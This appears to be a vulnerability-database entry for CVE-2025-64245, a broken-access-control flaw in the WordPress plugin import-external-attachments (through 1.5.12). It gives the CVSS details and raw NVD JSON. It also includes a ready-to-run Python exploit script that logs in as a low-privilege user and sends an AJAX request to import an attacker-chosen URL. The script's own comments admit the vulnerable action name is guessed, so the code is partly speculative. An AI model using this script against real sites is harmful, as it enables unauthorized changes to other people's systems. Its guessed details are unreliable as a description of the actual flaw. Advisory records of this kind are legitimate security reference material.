Security Vulnerability Report
中文
CVE-2025-64245 CVSS 4.3 MEDIUM

CVE-2025-64245

Published: 2025-12-16 09:15:54
Last Modified: 2026-04-27 16:16:37

Description

Missing Authorization vulnerability in ryanpcmcquen Import external attachments import-external-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Import external attachments: from n/a through <= 1.5.12.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

import-external-attachments <= 1.5.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64245 PoC - Missing Authorization in import-external-attachments plugin # Target: WordPress site with import-external-attachments plugin <= 1.5.12 def exploit_cve_2025_64245(target_url, username, password, malicious_url): """ Exploit for Missing Authorization vulnerability in import-external-attachments plugin This PoC demonstrates how a low-privilege user can trigger external attachment import """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber/contributor role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Trigger the vulnerable import function via AJAX ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable action may vary, common patterns: # - import_external_attachments # - iea_import # - wp_ajax_import_external_attachments exploit_data = { 'action': 'import_external_attachments', # May need to identify correct action name 'urls[]': [malicious_url], # External URL to import 'post_id': '0' } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print("[+] Exploit request sent successfully") print(f"[*] Response: {resp.text[:500]}") return True else: print(f"[-] Exploit failed with status {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <malicious_url>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] url = sys.argv[4] exploit_cve_2025_64245(target, user, pwd, url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64245", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:54.163", "lastModified": "2026-04-27T16:16:37.193", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ryanpcmcquen Import external attachments import-external-attachments allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Import external attachments: from n/a through <= 1.5.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/import-external-attachments/vulnerability/wordpress-import-external-attachments-plugin-1-5-12-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}